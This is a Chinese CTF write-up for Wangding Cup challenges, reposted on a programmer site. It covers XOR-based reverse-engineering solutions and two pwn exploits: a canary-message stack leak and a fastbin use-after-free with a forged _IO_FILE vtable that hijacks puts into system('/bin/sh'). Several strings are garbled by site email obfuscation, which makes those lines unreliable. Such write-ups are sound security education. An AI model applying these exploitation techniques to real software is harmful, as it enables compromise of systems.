欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

网鼎杯-教育

程序员文章站 2022-03-04 20:00:52
...

beijing
网鼎杯-教育
这里可以发现有flag的影子,但是异或之后就没有影子了,获取flag其实就是把异或的部分去掉。

网鼎杯-教育
这里就是算法了。
别人写的比较好,用别人的吧。

#include
using namespace std;
unsigned int byte_804A020[28] = {
    0x61, 0x4C, 0x67, 0x59, 0x69, 0x29, 0x6E, 0x42, 0x62, 0x0D, 0x65, 0x71, 0x66, 0x34, 0x6A, 0xC6, 
    0x6D, 0x8A, 0x6C, 0x7F, 0x7B, 0xAE, 0x7A, 0x92, 0x7D, 0xEC, 0x5F, 0x57
};
char chr_change(char temp)
{
  char chr_re;
  switch(temp)
  {
    case 0:
      chr_re=(char)byte_804A020[0];
      break;
    case 1:
      chr_re=(char)byte_804A020[2];
      break;
    case 2:
      chr_re=(char)byte_804A020[4];
      break;
    case 3:
      chr_re=(char)byte_804A020[6];
      break;
    case 4:
      chr_re=(char)byte_804A020[8];
      break;
    case 5:
      chr_re=(char)byte_804A020[10];
      break;
    case 6:
      chr_re=(char)byte_804A020[12];
      break;
    case 7:
      chr_re=(char)byte_804A020[14];
      break;
    case 8:
      chr_re=(char)byte_804A020[16];
      break;
    case 9:
      chr_re=(char)byte_804A020[18];
      break;
    case 10:
      chr_re=(char)byte_804A020[20];
      break;
    case 11:
      chr_re=(char)byte_804A020[22];
      break;
    case 12:
      chr_re=(char)byte_804A020[24];
      break;
    case 13:
      chr_re=(char)byte_804A020[26];
      break;
    default:
      chr_re=0;
      break;
  }
  cout<<chr_re;
  return chr_re;
}
int main()
{
    int t[25]={0x06,0x09,0x00,0x01,0x0A,0x00,0x08,0x00,0x0B,0x02,0x03,0x01,0x0D,0x04,0x05,0x02,0x07,0x02,0x03,0x01,0x0c};
    for(int i=0;i<21;i++)
        chr_change(t[i]);
    return 0;
}

那一串数据也能得到(有三个字节是在bss段,其实是0)

a1=[ 0x61, 0x4C, 0x67, 0x59, 0x69, 0x29, 0x6E, 0x42, 0x62, 0x0D,
  0x65, 0x71, 0x66, 0x34, 0x6A, 0xC6, 0x6D, 0x8A, 0x6C, 0x7F,
  0x7B, 0xAE, 0x7A, 0x92, 0x7D, 0xEC, 0x5F, 0x57]
b=[]
key=[0x52 ,0x13 ,0x2D ,0x3E ,0xD5 ,0x2D ,0xE7 ,0x2D ,0xE8 ,0x40 ,0x2C ,0x3E ,0x08 ,0x6F ,0x14 ,0x40
     ,0xAC ,0x40 ,0x2C ,0x3E ,0x91 ,0x0A]
print key,
print len(key)
for i in range(len(a1)/2):
    b.append(chr((a1[2*i]^a1[2*i+1])&0xff))
print len(b)


for i in range(len(key)):
    for j in range(len(b)):
        if key[i]==ord(b[j]):
            print j,

总结:注意题目中出现的数字,变成字符之后会有意外收获呢。


advance
运行之后输出了

➜  advanced ./src
welcome, here is your identification, please keep it in your pocket: 4b404c4b5648725b445845734c735949405c414d5949725c45495a51

这个字符串可能有意义。
用ida打开之后发现函数贼多,没办法,只能祈祷简单一点,测试吧。
libnum库了解一下https://www.cnblogs.com/pcat/p/7225782.html

>>> import libnum
>>> s=0x4b404c4b5648725b445845734c735949405c414d5949725c45495a51
>>> print libnum.n2s(s)
K@LKVHr[aaa@qq.com\AMYIr\EIZQ

转成字符是乱码,但是能转成字符,简单异或一下试试。

>>> ord('f')^0x4b
45
>>> ord('l')^0x40
44
>>> ord('a')^0x4c
45
>>> ord('g')^0x4b
44

是他们兄弟俩异或得来的。
用别人一段脚本。

s='aaa@qq.com[aaa@qq.com\\AMYIr\\EIZQ'
flag=""
for i in range(len(s)):
    if i%2==0:
        flag+=chr(ord(s[i])^45)
    else:
        flag+=chr(ord(s[i])^44)
print flag

flag{d_with_a_template_phew}

总结:复杂的题往往可以简单化,之一flag的作用,可以尝试异或一下。


pwn1(GUESS)
开启了NX保护和stack。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
  int v5; // [rsp+1Ch] [rbp-84h]
  __int64 v6; // [rsp+20h] [rbp-80h]
  __int64 v7; // [rsp+28h] [rbp-78h]
  char buf; // [rsp+30h] [rbp-70h]
  char s2; // [rsp+60h] [rbp-40h]
  unsigned __int64 v10; // [rsp+98h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  v7 = 3LL;
  LODWORD(stat_loc.__uptr) = 0;
  v6 = 0LL;
  sub_4009A6();
  HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  puts("This is GUESS FLAG CHALLENGE!");
  while ( 1 )
  {
    if ( v6 >= v7 )
    {
      puts("you have no sense... bye :-) ");
      return 0LL;
    }
    v5 = sub_400A11();
    if ( !v5 )
      break;
    ++v6;
    wait((__WAIT_STATUS)&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(&s2);
  if ( !strcmp(&buf, &s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  return 0LL;
}

需要知道关于fork函数和canary保护。

fork函数是复制,创建一个子进程,子进程会复制父进程的所有信息。但是子进程你是个单独的进程,不会影响到父进程。

stack保护:就是在栈里面放一个canary如果canary被改变程序会退出,并且打印出

*** stack smashing detected ***: 

加可执行文件(路径加)名字效果如图(只是适合ubuntu16到ubuntu18不会输出)

网鼎杯-教育

思路:三次leak。

1.泄露got表值,获取到libc库的加载地址

2.计算出environ的指针,泄露出environ的地址(也就是栈的地址)。

3.复写为flag内容的地址get flag。

刚好三次fork

from pwn import *
context.log_level="debug"

p=process("./guess")
elf=ELF("./guess")  
libc=ELF("libc.so.6")

p.recvuntil("Please type your guessing flag\n")
payload='A'*0x128+p64(elf.got["read"])
p.sendline(payload)
print p.recvuntil("***: ")
read_addr=u64(p.recv(6).ljust(8,'\x00'))
print "read_addr="+hex(read_addr)


p.recvuntil("Please type your guessing flag\n")
environ_pointer=read_addr-libc.symbols["read"]+libc.symbols["__environ"]
payload='A'*0x128+p64(environ_pointer)
p.sendline(payload)
print p.recvuntil("***: ")
environ_addr=u64(p.recv(6).ljust(8,'\x00'))
print "environ_pointer="+hex(environ_pointer)
print "environ_addr="+hex(environ_addr)


gdb.attach(p)
raw_input()
p.recvuntil("Please type your guessing flag\n")
payload='A'*0x128+p64(environ_addr-0x168)
p.sendline(payload)
print p.recvuntil("***: ")
print p.recvall()

第三次的fork设置为

网鼎杯-教育
需要关注的是

07:00380x7ffc392a7ea0 ◂— 'qwertyuiop\n'

这里是读取出来的flag.txt文件的内容。

32:0190│        0x7ffc392a7ff8 —▸ 0x7ffc392aa1de ◂— 0x73736575672f2e /* './guess' */

这里是输出的内容。

34:01a0│        0x7ffc392a8008 —▸ 0x7ffc392aa1e6 ◂— 0x52454d554e5f434c ('LC_NUMER')

这里是环境变量environ的内容。可以得出来栈地址的偏移。

>>> hex(0x7ffc392a8008-0x7ffc392a7ea0)
'0x168'

输入数据的指针和0x7ffc392a7ff8的差是需要填充的数据。


blind

程序提供了new,change,release操作,没有任何输出。

[*] '/home/liu/1t/u18/\xe6\x96\x87\xe6\xa1\xa3/\xe7\xbd\x91\xe9\xbc\x8e\xe6\x9d\xaf/blind/blind'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

开启了RELRO保护,不和复写got表,这意味着不能泄露出任何地址。

程序给出了system(“/bin/sh”)函数,漏洞也很明显,delete只是把内存空间free,并没有把ptr指针清空,存在uaf漏洞,可以用fastbin attach。

pwndbg> x /10xg 0x602020
0x602020 <stdout>:   __xsputn = 0x7fa37e5e81e0 <_IO_new_file_xsputn>    0x0000000000000000
0x602030 <stdin>:   0x00007fd3067d88e0  0x0000000000000000
0x602040 <stderr>:  0x00007fd3067d9540  0x0000000000000000
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x00000000021d4010  0x00000000021d4080

这里高地址处是0x7f,题目中申请的空间是0x68可以申请到。这里的stdout结构指针在bss段,为我们下面伪造FILE结构创造了条件。

size_addr=0x60201d
new(0,"A"*0x50)
new(1,"B"*0x50)
release(1)
release(0)
change(0,p64(size_addr))

new(2,"C"*0x20)
new(3,"D"*0x20) #####get bss

接下来伪造IO_2_1_stdout结构
原结构是:

pwndbg> print stdout
$1 = (struct _IO_FILE *) 0x7fa37e934620 <_IO_2_1_stdout_>

pwndbg> print _IO_2_1_stdout_
$2 = {
  file = {
    _flags = 0xfbad2887, 
    _IO_read_ptr = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_end = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_base = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_base = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_ptr = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_end = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_base = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_end = 0x7fa37e9346a4 <_IO_2_1_stdout_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7fa37e9338e0 <_IO_2_1_stdin_>, 
    _fileno = 0x1, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "\n", 
    _lock = 0x7fa37e935780 <_IO_stdfile_1_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7fa37e9337a0 <_IO_wide_data_1>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7fa37e9326e0 <_IO_file_jumps>
}

目的是伪造一个结构,其他地方都差不多,只有vtable = 0x7fa37e9326e0 <_IO_file_jumps>结构设置成我们字节的结构。

pwndbg> print _IO_file_jumps
$3 = {
  __dummy = 0x0, 
  __dummy2 = 0x0, 
  __finish = 0x7fa37e5e89c0 <_IO_new_file_finish>, 
  __overflow = 0x7fa37e5e9730 <_IO_new_file_overflow>, 
  __underflow = 0x7fa37e5e94a0 <_IO_new_file_underflow>, 
  __uflow = 0x7fa37e5ea600 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7fa37e5eb980 <__GI__IO_default_pbackfail>, 
  __xsputn = 0x7fa37e5e81e0 <_IO_new_file_xsputn>, 
  __xsgetn = 0x7fa37e5e7ec0 <__GI__IO_file_xsgetn>, 
  __seekoff = 0x7fa37e5e74c0 <_IO_new_file_seekoff>, 
  __seekpos = 0x7fa37e5eaa00 <_IO_default_seekpos>, 
  __setbuf = 0x7fa37e5e7430 <_IO_new_file_setbuf>, 
  __sync = 0x7fa37e5e7370 <_IO_new_file_sync>, 
  __doallocate = 0x7fa37e5dc180 <__GI__IO_file_doallocate>, 
  __read = 0x7fa37e5e81a0 <__GI__IO_file_read>, 
  __write = 0x7fa37e5e7b70 <_IO_new_file_write>, 
  __seek = 0x7fa37e5e7970 <__GI__IO_file_seek>, 
  __close = 0x7fa37e5e7340 <__GI__IO_file_close>, 
  __stat = 0x7fa37e5e7b60 <__GI__IO_file_stat>, 
  __showmanyc = 0x7fa37e5ebaf0 <_IO_default_showmanyc>, 
  __imbue = 0x7fa37e5ebb00 <_IO_default_imbue>
}

伪造vtable里面的__xsputn = 0x7fa37e5e81e0 <_IO_new_file_xsputn>设置成system的地址当程序调用put函数就能劫持程序执行流。

首先需要注意的是flag,这里需要绕过一些检测,要满足
flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0

(64位flag对应8的位置为0,对应的2的位置为0,对应的0x8000的位置为1)
这里取flag=0xfbad8000

其他基本上从原本的FILE结构里面摘出来即可。

from pwn import *
context.log_level = 'debug'
p = process('./blind')
system_addr = 0x00000000004008E3

def new(index,content):
    p.recvuntil('Choice:')
    p.sendline('1')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.sendline(content)

def change(index,content):
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.sendline(content)

def release(index):
    p.recvuntil('Choice:')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))


size_addr=0x60201d
new(0,"A"*0x50)
new(1,"B"*0x50)
release(1)
release(0)
change(0,p64(size_addr))

new(2,"C"*0x20)
payload="A"*3+p64(0)*6+p64(0x602020)+p64(0x6020a0)#fake_file start in address 0x6020a0
payload+=p64(0x6020a0+0x68)+p64(0x6020a0+0x68*2)
new(3,payload) #####get bss



flag=0xfbad8000
payload=p64(flag)+p64(0x602060)*7+p64(0x602061)+p64(0)*3
change(1,payload)

payload=p64(0x602060)+p64(1)+p64(0xffffffffffffffff)+p64(0x0000000000000000)+p64(0x602060)+p64(0xffffffffffffffff)+p64(0)+p64(0x602060)+p64(0)*3+p64(0x00000000ffffffff)
change(2,payload)

payload=p64(0)+p64(0x602180)+p64(0)*7+p64(system_addr)
change(3,payload)
gdb.attach(p)
change(0,p64(0x6020a0))

p.interactive()

联系:aaa@qq.com

相关标签: ctf